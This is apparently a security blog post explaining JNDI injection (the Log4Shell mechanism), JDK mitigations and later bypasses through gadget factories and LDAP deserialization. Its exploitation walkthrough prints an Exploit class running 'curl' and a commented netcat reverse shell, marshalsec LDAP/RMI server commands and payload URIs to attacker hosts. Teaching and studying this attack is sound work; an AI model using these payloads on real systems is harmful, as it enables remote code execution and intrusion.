JNDI Injection — The Complete Story
This blog investigates the security implications of JNDI Injection, a vulnerability that arises when malicious actors manipulate JNDI…
JNDI Injection — The Complete Story
This blog investigates the security implications of JNDI Injection, a vulnerability that arises when malicious actors manipulate JNDI lookups to execute unauthorized code.
The infamous Log4j vulnerability, also known as Log4Shell, leveraged JNDI injection to execute arbitrary code remotely.
Introduction
Java Naming and Directory Interface (JNDI) is a Java API that facilitates interaction with naming and directory services.
It allows Java applications to discover and retrieve data and resources via a name, rather than requiring direct references to their locations.
These objects can be stored in different naming or directory services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).
Architecture
- The JNDI architecture consists of an API and a service provider interface (SPI).
- The SPI enables a variety of naming and directory services to be plugged in transparently, thereby allowing the Java application using the JNDI API to access their services.
- More: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

Key Features of JNDI
1. Binding Objects
- JNDI enables the binding of Java objects to names in a naming/directory service.
2. Lookup and Querying
- Applications can use JNDI to look up or query objects based on their names or attributes. This enables dynamic retrieval of resources or services at runtime.
3. Extensibility through SPIs
- JNDI supports various directory services through Service Provider Interfaces (SPIs). These SPIs enable the integration of JNDI with different naming and directory systems.
Understanding Naming and Directory Service
1. Naming Service
- Naming Service relates names to objects and provides facilities to find objects based on their names using the ‘lookup’ operation.
Context ctx = new InitialContext(env);
MyObject obj = (MyObject) ctx.lookup("myObject");
2. Directory Service
- It is a special type of Naming Service that allows storing and searching for directory objects based on their attributes, rather than just names.
DirContext ctx = new InitialDirContext(env);
NamingEnumeration<?> namingEnum = ctx.search("ou=people", "(cn=Sickurity Wizard)");
The Vulnerability
Below, is a basic JNDI client application:
public class SimpleJndiLookup {
public static void main(String[] args) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:9999");
try {
Context ctx = new InitialContext(env);
Object obj = ctx.lookup("object");
System.out.println(obj);
ctx.close();
} catch (NamingException e) {
System.err.println("Problem encountered during lookup: " + e);
}
}
}
//Note: Even InitialDirContext.search() is vulnerable to JNDI Injection
If an attacker can control the name of an object, they may redirect it to an RMI/LDAP/CORBA server under their control, returning an arbitrary object. If this object is an instance of a JNDI naming reference, the JNDI client attempts to resolve the “classFactory” and “classFactoryLocation” attributes associated with it. If “classFactory” value is unknown to the target Java application, Java retrieves the factory’s bytecode from the specified “classFactoryLocation” location using Java’s URLClassLoader. When loading the reference factory remotely or locally, the embedded RCE payload gets executed.
Note
It doesn’t matter even if the server has predefined the INITIAL_CONTEXT_FACTORY and PROVIDER_URL. If the parameters can be controlled by the attacker during the lookup, they will be dynamically converted according to the URL provided by the attacker, and overwrite the previously set values, pointing the lookup operation to the attacker’s controlled server.
Attacking JNDI
JNDI attack can be performed using different SPIs such as LDAP, RMI, CORBA and DNS.
Attack Flow
- InitialContext.lookup(URI) is is invoked within the target application, where the URI is user-controller.
- The attacker manipulates the URI parameter to point to a malicious RMI service, using a URL such as
rmi://hacker.rmi/exploit. - The attacker’s RMI server returns a Reference object. This
Referenceobject includes a specifically craftedFactoryclass. - The target application dynamically loads and instantiate the Factory class, and then call factory.getObjectInstance() to obtain the external remote object instance.
- The instantiation of this
Factoryclass triggers the execution of malicious code. This could be written within the constructor, static block, or thegetObjectInstance()method of theFactoryclass, to achieve to Remote Code Execution (RCE).
This technique worked well up to Java 8u121 until Oracle added codebase restrictions to RMI.
After that, it was possible to use a malicious LDAP server returning the same reference. However since 8u191, when a JNDI client receives a Reference object, its “classFactoryLocation” is not used, either in RMI or in LDAP.
Changes made to prevent the vulnerability:
- RMI
*com.sun.jndi.rmi.object.trustURLCodebase*- This property has default value of false from JDK 6u132, 7u122, 8u113 and later versions
- It prevents RMI objects obtained through JNDI from automatically loading class definitions from remotely provided codebase URLs.
- Here, SecurityManager further limits what can be loaded.

- LDAP
com.sun.jndi.ldap.object.trustURLCodebase- This property has default value of false from JDK 6u211, 7u201, 11.0.1, 8u191 and later version.
- Disables the automatic loading of Java class definitions from remote locations for objects retrieved via LDAP services in JNDI.

- Corba
com.sun.jndi.cosnaming.object.trustURLCodebase- Disables the automatic loading of Java class definitions from remote locations for objects retrieved via COBRA services in JNDI.

Exploiting JNDI in older JDK Versions
- Create Exploit.java containing your malicious code
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec⠀("curl burp.com");
// java.lang.Runtime.getRuntime().exec⠀("nc -e /bin/bash IP 4444");
} catch (Exception e) {
e.printStackTrace();
}}}
- Compile the code
javac Exploit.java -source 8 -target 8
- Host the Exploit.class using a Http Server
python3 -m http.server 8081
- Run the LDAP/RMI Server. Here we are utilizing marshalsec to start the server
#LDAP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://PythonServerServingRemoteClass:8081/#Exploit"
#RMI
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://PythonServerServingRemoteClass:8081/#Exploit"
- Execute Payload
- LDAP :
ldap://LDAPServerIP:1389/Exploit - RMI :
rmi://RMIServerIP:1099/Exploit
Note: Ensure that all IP addresses and ports are correctly configured to match your network setup.
Exploiting JNDI in Newer JDK Versions
Despite the restrictions implemented in newer JDK versions to mitigate JNDI vulnerabilities, below are some scenarios that illustrate how attackers can still exploit them.
1. trustURLCodebase is set to True
- If
com.sun.jndi.ldap.object.trustURLCodebaseis explicitly set to True, it disables the mitigation and can then be exploited using the basic exploits.
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //LDAP
- Detecting via DNS message lookups
- DNS lookup can be used to check if get a DNS callback:
- Payload ->
dns://attacker.com
- Abusing via Usage of local Class as Reference Factory
In higher versions, although malicious Factory cannot be loaded remotely, attacker can still specify the Factory class and its attributes, through the supplied JNDI Reference.
- An attacker can reuse any factory class in the vulnerable program’s classpath as a gadget.
- A useable factory class would have the following properties:
1) Exist in the vulnerable program's classpath
2) Implement the ObjectFactory interface
3) Implement the getObjectInstance method
4) Perform dangerous actions with the Reference's attributes
Example Gadget Class: BeanFactory
- In this, arbitrary Java code objects are created (using Reflection), based solely on the Reference’s string attributes, which are attacker controlled.
- Here we can use
org.apache.naming.factory.BeanFactoryas the local Factory class, then usejavax.el.ELProcessorthe class as the target class and use EL expressions to execute commands. - If the
org.apache.naming.factory.BeanFactoryclass (which is shipped with Tomcat) is available in the classpath, RCE can be achieved regardless of the underlying JRE/JDK version. - A detailed dive on this can be found in this blog: https://www.cnblogs.com/Welk1n/p/11066397.html
- However, this was fixed in below tomcat versions
8.5.x for 8.5.79 onwards
9.0.x for 9.0.63 onwards
10.0.x for 10.0.21 onwards
10.1.x for 10.1.0-M14 onwards
There are several other gadgets that have been found by security researchers.
- Abusing using LDAP javaSerializedData to trigger local Gadget
- In addition to using JNDI Reference for utilization, LDAP Server also supports directly returning serialized data of an object. If the value of the
javaSerializedDataproperty of the Java object is not empty, the client's obj.decodeObject() method will deserialize the contents of this field. - When deserializing an object, the
trustURLCodebasesecurity mitigation has no effect, since that specific mitigation only prevents loading of new codebases. - If an attacker knows that a specific “gadget” class is present in the vulnerable application’s classpath, he can generate its Object, send it through LDAP and gain RCE when it is deserialized.
- However, in the recent java versions com.sun.jndi.ldap.object.trustSerialData property was set to false by default which prevents the deserialization.

While writing this blog, I created multiple labs to experiment with the vulnerability. Here is a link to the repository to try it out: Jndi-Injection-Labs
For understanding the flow of the attack, you can refer to this blog: https://medium.com/@prajeet67/jndi-injection-attack-flow-2061e792fef3
Follow me on Twitter for updates: https://twitter.com/sickuritywizard
Happy Hacking…
References
메타데이터
- post_id
- 4c5bfbb3f6e1
- slug
- jndi-injection-the-complete-story-4c5bfbb3f6e1
- url
- https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1
- canonical_url
- https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1
- author_url
- https://medium.com/@sickuritywizard
- status
- ok
- fetched_at
- 2026-06-27 23:56:40